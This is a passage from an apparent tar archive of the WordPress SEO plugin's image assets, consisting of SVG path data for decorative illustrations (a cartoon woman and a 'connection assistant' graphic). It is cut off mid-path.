013.286-2.387h22.417z" fill="#FF8F3B"></path><path d="M107.849 65.53l14.936 45.68-2.708 8.406a3.446 3.446 0 01-3.285 2.384l-11.788-47.64 2.845-8.83zm-64.877-.151l14.976 45.805-2.7 8.429a3.425 3.425 0 01-.157.4l-15.13-45.236 3.011-9.398z" fill="#FF7F3B"></path><path d="M84.376 14.393c1.501 0 2.83.966 3.285 2.387l32.287 100.753a3.423 3.423 0 01-2.24 4.305 3.468 3.468 0 01-1.046.162H94.245a3.446 3.446 0 01-3.286-2.387L58.673 18.86a3.423 3.423 0 012.24-4.305 3.468 3.468 0 011.045-.162zM26.454 37.011c1.497 0 2.823.96 3.282 2.376l25.363 78.135a3.423 3.423 0 01-2.224 4.313c-.342.11-.699.165-1.058.165H29.408a3.446 3.446 0 01-3.282-2.376L.763 41.49a3.423 3.423 0 012.224-4.314 3.485 3.485 0 011.058-.165z" fill="#FFA23A"></path></g></svg>wordpress-seo/packages/js/images/motivated_bubble_woman_1_optim.svg000064400000016110147510273070021705 0ustar00<svg role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 277.7 317.3">
  <circle cx="146.5" cy="186.1" r="131.2" fill="#f0ecf0"/>
  <path fill="#54311e" d="M95 41.1c4.8-22 19-41.6 42.7-38.8 21 2.4 34.5 17.4 47.4 33.6 16.5 20.8 14.7 46.5 22.6 71.8.5 1.9 1.4 4.1 1 6-.6 2.4-.6 3.8-2.6 5.3-15.6 11.7-21.5 26-32.4 42.2-2.7 4-5.3 8-9.3 10.5-2.5 1.5-.3.5-2.7 2.2-14.8 10.2-41.3 11-56.6 8.4 5.9-26 6.3-38.3 6.3-38.3l-15 39.3c-8 4.8-20.8 1.4-28.8-3.4C80 155.6 89 112.6 90.2 82.6c.5-14.4 1.8-27.4 4.8-41.5Z"/>
  <path fill="#54311e" d="M93.9 43.6c-4 34.7-3.2 73-15 105.8 3-4.8 5.4-9.2 8.5-14 3.9-6 4.3-15 6.2-22 2-7.2-.3-16-.5-23.5-.6-17 .9-34 2.2-51"/>
  <path fill="#ce6d42" d="M21 236.3c7.5-7.6 35.2-26.2 43.7-33.2 11.1-9.3 52.2 8.7 37.4 21.9-32.5 29-93.9 58.6-99.6 43-2.8-7.4 13.4-26.8 18.4-31.8Z"/>
  <path fill="#77375a" d="M138 152c-11.1-2.1-35.6 6.3-43.7 14.4C86 174.6 81.6 189 59 206.8c6.7 6.3 15.9 28.4 19.8 36.5 16.2-9.8 29-22.6 40.2-32.4 1.5-1.4-5-22.8-4.2-24.4.5-1.1-1.1-5.7-1-7.2 0-4 24.1-20.5 15-17.7Z"/>
  <path fill="#f0ecf0" d="M262.1 248.1c-10.1-3.4-25-8.2-31.7-10.6a216.5 216.5 0 0 1-2.9 34.8c-.9 5.1.5 10.2 2.7 14.7a131.6 131.6 0 0 0 32-38.9Z"/>
  <path fill="#a52a6a" d="M227.5 272.3a216.5 216.5 0 0 0 2.9-34.8l-3.4-1.2a51.7 51.7 0 0 0 3.4-5c0-7.6-.1-15.3.2-24 .5-18 1.3-22.5-17-41.6-22.8-24-91-23.3-111.5 5.6-17.8 25.2-7.7 40.4-9.9 58C90.1 246 65 286 112.6 295.5c1.9 4.5 7.5 13 12.2 19.9A131.3 131.3 0 0 0 230.2 287a24.5 24.5 0 0 1-2.7-14.7Z"/>
  <path fill="#f4a269" d="M256.7 192.5c-7.3 9.2-20.2 29.5-26.3 38.8v6.2l31.7 10.6a130.3 130.3 0 0 0 13.7-39.5c-7.9-6.3-16-12.9-19.1-16.1Z"/>
  <path fill="#f4a269" d="M230.4 231.3a51.7 51.7 0 0 1-3.4 5l3.4 1.2v-6.2Z"/>
  <path fill="#a52a6a" d="M248.8 243.2c-36.8-3.1-61.4-25.4-95.7-33.9 9-20.8 16.4-62 45-58.4 52.2 6.6 47 33.3 74.9 54.8-2.9 9-17.5 31.4-24.2 37.5Z"/>
  <path fill="#f4a269" d="M204.4 160c-8.8 25.2-10 40.6-21.1 56.5-12 0-76.7.7-79.8-6.4-.3-.7 6-18.4 13.4-30.3 9.2-14.9 25.4-21 27-25.4 1.7-4.7-6.5-26-5.3-28.7.7-1.4-3.7.9 44.8-38.9 2.8 7.6 6 42.2 6 55.5 0 17.7 3.1 13.4 15 17.7Z"/>
  <path fill="#ce6d42" d="M185.5 105.9c-12 11-29.5 23-46.1 25.5 1.5 6.3 4.6 16 4.7 20.8 21-1.9 41.3-46.2 41.4-46.3Z"/>
  <path fill="#54311e" d="M163.5 2.5c27 4.9 45.3 49 44.8 72.9-1 52.3 34.6 49 34.3 94.3-35.3-32.2-45.6-3-59.3 25-7.8-2.9-18.4-5-22-6.4-.6-25.4 7.1-31.8 8.7-43.9-7.2 12.5-11 15.4-15.7 29 .3-31.8 16-39 26.7-66.6v-1.3c.4-8.2 1-13.8 1.5-22.5s5.2-12.5 5.6-23.6c.6-17.6-19.9-40.5-24.6-57Z"/>
  <path fill="#7c2050" d="M190.6 257.2c2.5 5.3.4 11.5-1.8 16.9a27.4 27.4 0 0 1-6.9 11.2c-3 2.5-6.8 3.7-10.6 4.4a65.3 65.3 0 0 1-27.1-.8c19-1.8 37.8-10.5 46.4-31.7Z"/>
  <path fill="#f4a269" d="M98 72.3c-3.3 4.1-3.4 9.9-3 18.7.6 11.2 13.6 31.2 16.4 39.3 4.2 12.1 15.3 12.1 28.4 6.3 10.9-4.9 36.1-18.3 41-29.7A74.3 74.3 0 0 0 187 81s9.4-25.8 6.2-47.1-55.7-21.8-55.7-21.8S87 23.6 98 72.3Z"/>
  <path fill="#d17154" d="M110.2 109.8c.8-2.6 7.5-.3 27-1.9-7.5 3.2-11.5 9.2-17 10-4.5.6-6 .7-8.3-.9-3.3-2.3-3.9-5-1.8-7.3Z"/>
  <path fill="#b24736" d="M140.8 106.7c-10 1.6-16.7-1.6-21.9-1.4-1.7 0-2.5 1.8-3.7 1.5s-2.8-1.9-4.1-2c-1 0-2.8.1-3.5 2.8-.8 1.5 1 3 2.2 2.9-.1-.6 2-1 3.3-.4.8.4 1.8 2.6 4.7-.2 3.7 1 13 1 23-3.2Z"/>
  <path fill="#54311e" d="M151.6 5c46.8-13.5 65.1 42.1 55.6 76.3-2.7 1.3-12.1-9.3-19-3.9-20.4-11.8-18.4-31-21-37.5-12-14.2-59-27.4-68.2-1.4-2-18.3 24.8-51 52.6-33.5Z"/>
  <path d="M102.8 50.2c-4 .8-6.7 5.5-6.5 10.5.9-1.3 3.6-7.1 6.4-7.4 2.5-.2 4.9 1.6 6.6 2 1 .2 1.3-1.2.6-3-2.6-2.4-4.4-2.6-7-2.1Z"/>
  <path fill="#ce6d42" d="M186.8 86.6c11-14 16-6.7 11.5.8-.3-10.5-5-4.4-9.8-1 5.8 3.4.9 8.1-.7 7s-4.8-.8-3.4 2c-1.8 0-1.2-1.6-1.3-2.8 0-1.8 1.6-.7 4-1.6 3.4-1.2 0-4-.3-4.4Z"/>
  <path fill="#f4a269" d="M183.5 82.6c2.4-5.6 8.2-12.7 16.8-9.8 4.3 1.5 7.2 6.2-.5 19.2-3.5 6-8 15.4-15.1 15-5.1-.4-5.6-7-4-15Z"/>
  <path fill="#ce6d42" d="M187 85.1c8.6-15.6 16.6-10 13.2-1.9-2-10.3-7.4-2.6-11.6 1.5 6.3 2.4 2.2 7.8.5 7s-4.9 0-3 2.4c-1.8.3-1.5-1.3-1.7-2.5-.4-1.7 1.4-1 3.6-2.2 3.1-1.7-.7-4-1-4.3Z"/>
  <path fill="#fff" d="M104.6 65.4c-3.4-.8-5 .6-6.5 3.7.3 3 1 6 3.7 6.8s10.4.3 13.5-1c-4.2-7-4.4-8-10.7-9.5Z"/>
  <path d="M97.6 71c.1 2.4 2.6 5.1 5 5s3.7-3 3.6-5.5a4 4 0 0 0-4-3.8h-.4a4.1 4.1 0 0 0-4.2 4Z"/>
  <path fill="#fff" d="M140.6 66.3c-3.5 1.2-5.2 5.1-6.4 8.6 1.3 4 17.6 3 21.7-3-6.6-3.4-9.8-7.6-15.3-5.6Z"/>
  <path d="M134.5 72.2c-1.6 4 1.9 5.2 4.6 5a5.1 5.1 0 0 0 4.6-5.4c-.2-2.7-2.2-5.4-4.9-5.2s-2.8 2-4.3 5.6Z"/>
  <path fill="#ce6d42" d="M144.5 60c7.3.5 10 9.9 11.2 12-9.9-8.3-17.7-5.1-21.5-.2-.2-5.5 4-12 10.3-11.7Z"/>
  <path d="M159.8 70.8c-8.9 0-6.5-8-16.7-6.4-6 1.1-9.7 7.6-9.3 11.3.5.2 1.8-10 12-8.2 4.5.7 6.7 6 10.7 5 .9-.2 3.5-1.3 3.3-1.7Z"/>
  <path fill="#ce6d42" d="M108.1 59.2c-9.4-4.4-10.4 9.2-10.1 10 1.4-4.5 10.5-4.5 16.4 4.1-.2-3.8-3.2-12.6-6.3-14Z"/>
  <path d="M115.1 74.8c-2-5.7-4.4-10.6-9.7-11.5a7.2 7.2 0 0 0-8.1 5.3c-.4 1.4-2.8.3-3.4.3.4.9 3 3.5 4 2.8 1.7-1 2.6-4.7 4.5-4.7a17.2 17.2 0 0 1 7.4 2c3.5 1.9 4.7 6 5.3 5.8Z"/>
  <path fill="#ce6d42" d="M115.3 72c-4 6-13.5 23.7-10.1 27.8 1.8 2.4 13.2 0 19.9-2.8-5.3-.7-14.1 1.5-15.9 0-3.3-5.6 7.5-21.1 9.4-26.7 1.6-4.5.5-9.4-6.2-13.9 8.7 7.4 5.7 11 2.9 15.7Z"/>
  <path fill="#54311e" d="M148.3 48.7c-21.5-2.5-33.3-17.5-15.9-33.4 2.4 13.5 0 25.4 16 33.4Z"/>
  <path fill="#54311e" d="M127.7 21c-19.9 4.7-16.4 27.6-6.7 41-5.7-12.7.3-30 5.7-39.5"/>
  <path fill="#f4a269" d="M39.8 236c-5.6 35.6-27.5 41.4-35.4 37-6.4-3.4-4.1-8.3-3.5-14.8.7-7.4-1.2-11.5 0-21 1.3-11.3 27.3-62 37.3-80.4 7.8-14 25.3-4.8 20.3 2.8-20.4 40.6-14 46.3-18.7 76.3Z"/>
  <path fill="#f4a269" d="M54.6 162.1c6.3.9 4.7 1.8 13.3-4.4 5.7-4.2 1.3-3.4 6.4-8.4 8.3-8.2 7.4-21.2 19.6-24.1 7.5-1.9 19 5 23.5-4.2-10.5-1.5-14.5-2.9-21.9-4.7a6.3 6.3 0 0 0-3.5.2c-5.1 2-7.6 2.8-10.2 4.3-3.5-.1-6.3-.5-9.5 3-9.5 10.6-25.2 19.7-32.2 30.2-6.7 10 4.5 7.4 14.5 8.1Z"/>
  <path fill="#f4a269" d="M67.7 138.5a35 35 0 0 1 10.3 6.9c2.9 4.1 6 8.8 5.8 10.3-.4 4.3-3.6 5.2-6 5.6-2.4.4-8.4 2.6-9.4 1.6-3.5-3.7-3.2-5-3.4-7.5-.3-5 3.3-4.4 4.5-2.7-2.8-3.2-2-2.5-2.6-6.9-.5-4.2-3.5-6.9.8-7.3Z"/>
  <path fill="#f4a269" d="M79 127.3c3.7 2 5.2 8 7.3 11.5 1.7 2.7 5.3 9.8 5.2 13.1-.2 4-12 5-14.4 4.2a87.6 87.6 0 0 1-7.2-13.9C67 135 76.4 132 80.5 127.1a5.5 5.5 0 0 0 1 .5"/>
  <path fill="#f4a269" d="M84.8 152.3c3.4-.6 13.6-1.2 12-6.5-1-3.5-4-8.3-6.2-11.4-2.5-3.5-3.6-10.3-7.7-8.3-13.8 6.8-4.7 27.8 1.9 26.2Z"/>
  <path fill="#ce6d42" d="M87.5 129.2c-.6-2.4-1.5-3.6.5-6 0 4-.5 6 1.6 9.6Zm4 22.9c-2-8.5-15.8-16.4-10.5-23.2-1.6 5.2 3 7.7 5.9 12 2.3 3.3 4.8 7.9 4.6 11.2Zm-7.8 4.3c.5-3-1.7-8.3-4.3-12.4a9 9 0 0 0-7-4.6c3.2 1.3 3.5 2.2 5.2 4.8 2 3 5.4 7.9 6 12.2Zm-7.5 3.6c-2-.6-5.1-1-6.6-2.7-2-2.1-2.5-9-2.5-11.8.3 2 1.2 6.5 2.6 8.2s5.1 4.3 6.5 6.2Z"/>
  <path fill="#ce6d42" d="M69.1 155.7c-1 1.2-1 5.2.6 6.1-.3-1.4-.5-3.9 1-4.7m-3.3-8.1c.8 6-6.4 12.5-17.9 10.4 3.4 2 7.8 4.4 11.3 3.1a14.8 14.8 0 0 0 7.8-7.3c.6-1.4-1-3.7-1.2-6.2Zm49-24.3a3.1 3.1 0 0 0 1.7-2.3c-.1-.5-.4-.9-1.8-1.1-4.2-.7-10.5-1.4-14-3.3 5.7 1.8 15.8 2.7 16.6 3a1.2 1.2 0 0 1 .7 1.4c-2 6.3-13.2 3.8-21.4 2.4 4.8.4 12 2.2 18.2-.1Zm22.3-17.7c2-.7 3.2-2.5 2.5-5.8 1.6.7 4.5 5.8 4.8 7.8-2.4-2.7-4.6-1.7-6-2"/>
  <path d="M144.3 56.5c-3-.3-10 2.4-12.7 2.6-1.7 0-2 1.6-.6 3 5.4.8 10-3 13.5-3 3.7 0 9.4.6 14.1 3.3-2.1-3.9-10.3-5.7-14.3-6Z"/>
</svg>
wordpress-seo/packages/js/images/connection-assistant.svg000064400000042751147510273070017725 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 752 247" stroke="#000" stroke-linecap="round"
	 stroke-linejoin="round" fill="#fff" fill-rule="evenodd" role="img" aria-hidden="true" focusable="false">
	<g stroke="none" class="B">
		<path
			d="M307.6714 13.3429c6.6273-6.5822 14.6953-12.7914 24.351-13.4694 5.0284-.8813 10.2037-.1243 15.0117 1.4464 3.5877 1.1469 6.294 3.8928 8.763 6.6047 3.3334-1.5819 7.0906-1.8362 10.7291-1.8023 3.3504-.1299 6.7968.8418 9.5201 2.8024 4.0453 3.9323 7.3223 8.8477 8.6782 14.3676.7119 3.808 1.0848 7.8873-.2203 11.6162.8249 2.3334 4.6103 2.7458 3.9606 5.6273-.7063 2.3729-2.6159 4.2091-4.3561 5.8984l-.6102.5424c-2.5312.6441-4.6047 2.2035-5.8872 4.4748-.322-1.921-2.6442-1.8645-3.9549-2.8419-5.9776-3.8137-10.7348-9.5201-13.3564-16.1192-1.2655-3.4351-2.7684-6.938-2.4746-10.6839-2.9831.661-6.0002 1.8588-8.068 4.1979-2.9775 2.8871-4.4521 6.8307-6.8194 10.1641-1.7459 2.3334-1.825 5.4522-3.5595 7.7856-1.1186 1.7006-3 2.5989-4.5877 3.7741 1.3786.3051 2.8984.3729 4.0736 1.243 1.113.9435.6723 2.8983-.6328 3.4238-2.2543.2881-4.5764-.2599-6.8025.3051-2.8249.8983-4.9945 3.0227-7.0115 5.0905-.9096 1.034-2.6102-.2203-2.4408-1.4181-.192-1.4068.9549-2.4125 1.6611-3.4803-2.7006.8983-5.5256 1.209-8.3166 1.5932-1.5085 1.243-2.8193 2.7628-4.0227 4.3053-1.5368-1.3447-3.0566-3.2205-5.3391-2.9097 1.2034 1.7006 2.8588 2.9888 4.4746 4.2713.2486 5.39 1.7741 10.5935 3.2713 15.7406.6159 2.2656 2.5199 3.808 4.3335 5.1357 3.5425 2.2204 7.4974 3.7403 10.9947 6.0228 1.8192 3.0283 3.3504 6.2544 4.4691 9.6161.5593 1.3729 1.0056 3.0453 2.5028 3.6837 4.6386 2.599 9.8083 4.0001 14.7124 6.0059 3.9549-2.0679 7.6951-4.5199 11.5313-6.7912.6159-.4633 1.5029-.7853 1.7176-1.6046 1.0566-3.8475 1.7402-7.7855 2.7459-11.6387.7401-2.6442 2.9605-4.4465 4.7063-6.4353 2.2657-2.6498 5.5652-4.4577 7.0002-7.7742.2543-5.8533.2939-11.7461-.6214-17.5542 1.2938-1.6328 2.5085-3.3278 3.7967-4.9606.0509 3.1018.5367 6.164.9831 9.2263.2598 3.6611.3502 7.3392.7119 10.989.0678.7458.2429 1.4972.6836 2.113 2.3334 3.0453 7.0793 3.7855 10.3111 1.7628-1.0001 3.2883-3.9324 5.3618-6.2262 7.7065-.0735.6553.2373 1.2712.3955 1.8983 1.096 2.5538 1.1638 5.7516-1.1639 7.65.9435 2.0509 1.6893 4.3221 1.1412 6.599-.209 1.4634-1.5367 2.2882-2.6045 3.1188.1751 2.0791 1.0395 4.26.1808 6.294-1.1131 1.8418-3.2657 2.5989-5.1753 3.3277-.4125 1.6611-.7685 3.4578-2.0396 4.7064-1.034 1.1808-2.7233 1.1526-4.1301 1.4916-1.13 2.2486-2.5368 4.6555-4.9606 5.6781-2.1244.548-4.2488-.339-6.3392-.6724-1.5255 1.599-3.1018 3.3844-5.3731 3.8589-2.3899.7967-4.7119-.5989-6.7798-1.6441-1.6385 1.2147-3.4238 2.599-5.5991 2.3334-2.3446.1469-3.9718-1.6328-5.5312-3.0735-2.1187 1.0791-4.5651 2.0001-6.9437 1.1977-2.2091-.5367-3.356-2.6554-4.6047-4.3504-2.8249-.0282-5.9776-.0282-8.2262-2.0057-1.695-1.322-2.3616-3.4238-3.034-5.3674-1.9153-.3051-4.1414-.3672-5.5256-1.9322-1.3503-1.6046-2.3108-3.5538-2.8306-5.5878-.565-2.3051.6385-4.4973 1.0283-6.7233-.9491-1.0848-2.4294-1.565-3.582-2.4182-3.1357-1.5763-3.5481-5.599-2.4238-8.5709-1.5651-1.1073-2.8362-2.5481-4.2205-3.8532 3.4634-.0226 7.0568-1.904 8.0285-5.4239.8475-2.2091.8023-4.6159.5989-6.938-.4294-4.5312-1.5085-8.9664-2.4351-13.4129-.4633-2.0735-3.0227-2.0113-4.4465-3.1357-2.2656-1.6441-4.5933-4.1187-4.1018-7.1471 1.1244-1.8814 3.1018-3.2656 3.469-5.5595-2.791-4.2769-1.8814-9.5652-.9265-14.2603 1.4407-5.2148 3.8306-10.328 7.7686-14.1303h0zm22.7803 19.3565c-2.6555 2.7797-4.39 6.2375-6.2827 9.5426 2.2713-.9039 3.9549-2.8079 5.6612-4.4916 3.6555-3.9662 7.7743-8.0737 9.006-13.5089-3.2544 2.3504-5.746 5.4747-8.3845 8.4579h0zm3.7402 8.3166c-1.0282 1.6215-2.3842 2.9888-3.4238 4.599 3.9549-2.1469 7.0567-6.2714 7.3731-10.8195-1.6102 1.8814-2.469 4.2487-3.9493 6.2205zm18.4187 7.6725c4.2995-2.5142 10.0737-3.1244 14.3224-.1356 1.4916.5876 2.13 2.8476.6046 3.7742-1.3955 1.1017-2.7403-.4238-4.0736-.7967-3.8645-1.0282-7.7856.5424-11.1077 2.4351-.8531-.4576-2.0452-1.017-1.9944-2.1639-.2147-1.4972 1.2317-2.339 2.2487-3.1131z"
			fill="#f17523"/>
		<path
			d="M349.7573 26.0043c2.0679-2.3391 5.0849-3.5369 8.0681-4.1979-.2939 3.7459 1.2091 7.2488 2.4746 10.6839 2.6215 6.5991 7.3787 12.3055 13.3563 16.1192 1.3108.9774 3.6329.9209 3.9549 2.8419-2.0847 2.8758-4.356 5.6216-6.3617 8.5539-1.8984.6441-3.8081 1.2656-5.7799 1.6554-1.4011-4.7064-7.7968-6.0228-11.4692-3.1922-.9662.8701-1.5933 2.034-2.1809 3.1753-1.4238-1.2995-3.0057-2.8589-5.1075-2.6668-2.9944.2091-5.3617 2.4408-7.0567 4.7403-.7966-2.8589-3.4295-5.1301-6.4521-5.0906-3.8929-.435-7.3844 2.7911-8.0455 6.503-1.8419.0791-3.7007.3164-5.5369.1074-3.0114-1.808-5.6838-4.147-8.3223-6.4465 1.2034-1.5425 2.5142-3.0623 4.0228-4.3052 2.791-.3842 5.6159-.695 8.3166-1.5933-.7062 1.0678-1.8532 2.0735-1.6611 3.4803-.1695 1.1978 1.5311 2.4521 2.4408 1.4181 2.017-2.0678 4.1866-4.1922 7.0115-5.0905 2.226-.565 4.5481-.017 6.8024-.3051 1.3052-.5255 1.7458-2.4803.6329-3.4238-1.1753-.8701-2.6951-.9379-4.0737-1.243 1.5877-1.1752 3.4691-2.0735 4.5878-3.7741 1.7345-2.3334 1.8136-5.4522 3.5594-7.7856 2.3673-3.3334 3.8419-7.277 6.8194-10.1641h0zm2.8532 22.6843c-1.017.774-2.4634 1.6158-2.2486 3.1131-.0509 1.1469 1.1413 1.7062 1.9943 2.1639 3.3222-1.8928 7.2432-3.4634 11.1078-2.4351 1.3333.3729 2.678 1.8983 4.0735.7966 1.5255-.9266.887-3.1865-.6045-3.7741-4.2488-2.9888-10.0229-2.3786-14.3225.1356zm-22.1588-15.9892c2.6384-2.9832 5.1301-6.1075 8.3844-8.4579-1.2317 5.4352-5.3504 9.5427-9.0059 13.5089-1.7063 1.6837-3.39 3.5877-5.6612 4.4916 1.8927-3.3051 3.6272-6.7629 6.2827-9.5426zm3.7402 8.3166c1.4803-1.9718 2.3391-4.3391 3.9493-6.2205-.3164 4.5482-3.4182 8.6726-7.3731 10.8195 1.0396-1.6102 2.3956-2.9775 3.4238-4.599zm49.3066 5.9607l.6101-.5424c1.6781-.5311 3.3391.9209 4.0905 2.339 2.6555 4.2092 3.39 9.441 2.3673 14.2717-1.0395 3.5085-2.6384 7.503-6.5086 8.616l-.0847.2656c-.4408-.6158-.6159-1.3673-.6837-2.1131-.3616-3.6498-.452-7.3279-.7119-10.989-.4464-3.0622-.9322-6.1245-.9831-9.2263.678-.8418 1.2995-1.7232 1.9041-2.6215zm-84.1099 8.3562c.5424-.5255 1.2035-1.6216 2.0735-.8927 1.4238 1.1243 3.9832 1.0622 4.4465 3.1357.9266 4.4464 2.0057 8.8816 2.4351 13.4128.2034 2.3221.2486 4.729-.5989 6.9381-1.4916-.243-3.0453-.5481-4.2035-1.582-4.4973-3.695-6.5991-9.7404-6.1189-15.4637.243-1.9323.5311-4.0962 1.9662-5.5482zm74.0192 5.0848l4.39-5.8589c.9153 5.8081.8757 11.7009.6214 17.5542-1.435 3.3165-4.7345 5.1244-7.0001 7.7742-1.7459 1.9888-3.9663 3.7911-4.7064 6.4353-1.0057 3.8532-1.6893 7.7912-2.7458 11.6387-.2147.8193-1.1018 1.1413-1.7176 1.6046-3.8363 2.2713-7.5765 4.7233-11.5314 6.7912-4.9041-2.0058-10.0738-3.4069-14.7123-6.0059-1.4972-.6384-1.9436-2.3108-2.5029-3.6837-1.1187-3.3617-2.6498-6.5878-4.4691-9.6161-3.4973-2.2826-7.4522-3.8024-10.9947-6.0228-1.8136-1.3277-3.7176-2.8701-4.3335-5.1357-1.4972-5.1471-3.0226-10.3506-3.2712-15.7406 3.1357 2.2034 5.5594 5.4408 9.1132 7.0171 1.8814.1074 3.7629-.0565 5.6443-.0791.1356 3.147 1.9435 6.3336 4.9663 7.4975 2.0847.7118 4.7232.9604 6.4917-.6272 2.322-1.7854 3.1639-4.7798 3.4351-7.5765 1.7684-2.0509 3.2995-4.7233 6.1471-5.3674 2.3503-.452 3.8249 1.808 5.1583 3.3391-.1695 2.4012.678 4.7742 2.1865 6.6273 2.8306 3.6555 9.6444 2.7289 11.2829-1.6328.8418-1.7402.661-3.7176.6836-5.5934 2.1809-.548 4.3617-1.13 6.4747-1.9209.6611-.2147.9606-.921 1.3899-1.4182h0zm-26.1194 21.4696c-2.7176.3729-5.2318-1.8644-7.9607-1.243 2.0113 1.9549 4.6781 3.4239 7.4014 4.0284 3.1582-.887 5.9267-3.0001 7.9041-5.5821-2.6893.0791-4.938 1.7967-7.3448 2.7967h0zm13.5766 1.4238c-6.7515 2.2204-13.2998 5.1753-20.3056 6.5256.678.8079 1.7402.9548 2.7458.7797 5.5143-.7797 10.6501-3.0284 15.8762-4.8307 1.6893-.6836 3.4803-1.4237 4.6499-2.8927-1.0057.0339-2.017.0847-2.9663.4181zm43.9053 73.3694c2.8419-.6723 6.0171-1.2317 8.746.1469 2.4973 1.3842 5.1471 2.5763 7.3223 4.4634 2.6385 2.3164 4.6555 5.2318 6.5143 8.1923 1.5706 2.6498 2.1469 5.729 2.3165 8.7686.305 1.5594.2994 3.1583.0847 4.7347-.5028 3.7515-.3616 7.8137-2.2487 11.2093-2.1808 2.4182-5.2431 3.7685-7.8025 5.729-2.7288 2.0114-6.4069 1.4577-9.2432-.0226-2.4972 2.5594-7.1979 3.9832-10.0455 1.2261-2.0904.2994-4.0961 1.4068-6.2487.9604-1.7176-.0847-3.0849-1.3277-4.1414-2.5706-1.0622-1.4182-.2317-3.181-.0282-4.729 1.1638-7.7065 2.0396-15.492 4.0961-23.029-4.9719.678-10.2376 1.0905-15.0852-.4576-1.7458-.6102-3.8193-1.2486-4.4295-3.2204-1.2373-2.0735-.3955-5.1358 2.0904-5.7516 3.9041-.2147 7.7461 1.8136 11.6558 1.0961 5.3165-2.599 10.6952-5.2262 16.4468-6.746zm-95.9068 18.9611c3.3447-1.1808 6.9663-2.4577 10.5257-1.4408 2.2713 1.3956 4.2656 3.277 5.8589 5.4126 3.486 4.7007 6.7177 9.5879 9.5088 14.7406.8022 1.4803 2.0396 3.147 1.2147 4.9041-.7458 2.0679-3.147 2.356-5.0284 2.6215-1.9379.339-3.3448-1.322-4.4464-2.6554-3.6273-4.8872-6.2318-10.6726-10.9213-14.6841 2.4634 4.2262 4.7007 8.5935 6.616 13.1021 1.0057 2.3843 1.2317 4.9889 2.0679 7.4183.6723 1.5424.3842 3.599-1.2712 4.373-2.3561.6102-4.8363 1.0961-7.2771.7797-1.2147-.1356-2.1752-1.0508-3.373-1.2203-1.5424.4237-2.9605 1.2373-4.5425 1.5367-2.5877.6328-5.277-.1299-7.8702.4972-2.8815.678-5.876.1017-8.5936-.9266-3.1695-1.2655-5.3447-4.1131-6.8476-7.0736-.6497-1.2656-1.1865-2.5877-1.565-3.9549-.5537-2.9267-.6724-5.9607-.3673-8.9156.2091-2.1582 2.2148-3.3221 3.8928-4.3052 7.3674-3.6272 14.4185-8.0624 22.4188-10.2093z"
			fill="#fccda3"/>
		<path
			d="M377.6113 51.4513c1.2825-2.2712 3.356-3.8306 5.8872-4.4747l-1.904 2.6216-3.7967 4.9606-4.39 5.8589c-.4294.4972-.7289 1.2034-1.3899 1.4181-2.113.791-4.2939 1.3729-6.4748 1.921l-.0734-2.0961c1.9718-.3899 3.8815-1.0114 5.7798-1.6555 2.0057-2.9322 4.277-5.6781 6.3618-8.5539zm-71.6519 4.4296c2.2825-.3108 3.8024 1.565 5.3391 2.9097 2.6385 2.2995 5.3109 4.6385 8.3223 6.4465 1.8362.209 3.695-.0283 5.5369-.1074l.0339 1.9605c-1.8814.0226-3.7628.1865-5.6442.0791-3.5538-1.5763-5.9776-4.8137-9.1133-7.0171-1.6159-1.2825-3.2713-2.5707-4.4747-4.2713zm33.696 7.8364c1.6949-2.2995 4.0623-4.5312 7.0567-4.7403 2.1017-.192 3.6837 1.3673 5.1075 2.6668l-.4294 2.7119c-1.3334-1.5311-2.808-3.791-5.1583-3.339-2.8476.644-4.3787 3.3164-6.1471 5.3673l-.4294-2.6667z"
			fill="#847972"/>
		<path
			d="M354.0004 58.4685c3.6725-2.8306 10.0681-1.5141 11.4693 3.1922l.0735 2.0961c-.0226 1.8758.1582 3.8532-.6836 5.5934-1.6385 4.3617-8.4523 5.2883-11.2829 1.6328-1.5085-1.8531-2.356-4.2261-2.1865-6.6273.0961-.9096.243-1.8136.4294-2.7119.5876-1.1413 1.2147-2.3052 2.1808-3.1753h0zm5.181 5.8872c-2.5651 1.2938-3.4521 5.3279-1.3673 7.424 2.6555 1.9096 5.8646-1.3617 5.4635-4.1414.5423-2.3278-2.0453-3.9606-4.0962-3.2826zm-34.0237.774c.661-3.712 4.1526-6.9381 8.0455-6.503 3.0226-.0395 5.6555 2.2317 6.4521 5.0905.1638.8814.3051 1.7741.4294 2.6668-.2712 2.7967-1.113 5.7911-3.4351 7.5765-1.7685 1.5876-4.4069 1.339-6.4917.6271-3.0227-1.1639-4.8307-4.3504-4.9663-7.4974l-.0339-1.9605h0zm7.6274 1.5255c-3.034 1.4859-2.8419 7.3674.9548 7.6443 3.4238.0056 4.9776-4.5087 3.3447-7.1415-1.0734-1.1413-2.9831-1.4012-4.2995-.5028zm27.7691-.4294c1.3165-.6159 1.7798 2.1526.3165 1.8475-.9323.1243-1.2148-1.6724-.3165-1.8475zm-25.8877 2.26c.7571-1.3447 2.5142.6101 1.339 1.3164-.8192.9492-1.7119-.565-1.339-1.3164z"/>
		<path
			d="M359.1814 64.3557c2.0509-.678 4.6385.9549 4.0962 3.2826.4011 2.7798-2.808 6.051-5.4635 4.1414-2.0848-2.0961-1.1978-6.1301 1.3673-7.424h0zm1.3729 1.8701c-.8983.1752-.6158 1.9718.3164 1.8475 1.4633.3051 1-2.4633-.3164-1.8475zm-27.7692.4293c1.3164-.8983 3.2261-.6384 4.2996.5029 1.6328 2.6328.0791 7.1471-3.3447 7.1415-3.7968-.2769-3.9889-6.1584-.9549-7.6444h0zm1.8814 1.8306c-.3729.7514.5198 2.2656 1.339 1.3164 1.1753-.7062-.5819-2.6611-1.339-1.3164zm337.4791 82.2963l79.1154-9.5257v4.7403l-58.2278 7.0962-81.8669 9.3788-105.4268 13.4694c-10.7687 1.6836-21.6222 2.7176-32.4361 4.0227l-21.2039 1.7232c-7.4466.4689-14.8763 1.4012-22.3454 1.2995.2147-1.5764.2204-3.1753-.0847-4.7346 6.26.0056 12.4919-.6159 18.735-1.0679 11.9834-1.0056 24.0233-1.6045 35.9276-3.4068 14.9553-1.2995 29.7241-4.1019 44.6059-5.9946 47.6455-6.3844 95.4322-11.6557 143.2077-17.0005zm-299.2124 21.6956l6.0736-1.1752c4.8477 1.5481 10.1133 1.1356 15.0852.4576-2.0565 7.537-2.9322 15.3225-4.0961 23.029-3.695.8136-7.424 1.4633-11.1303 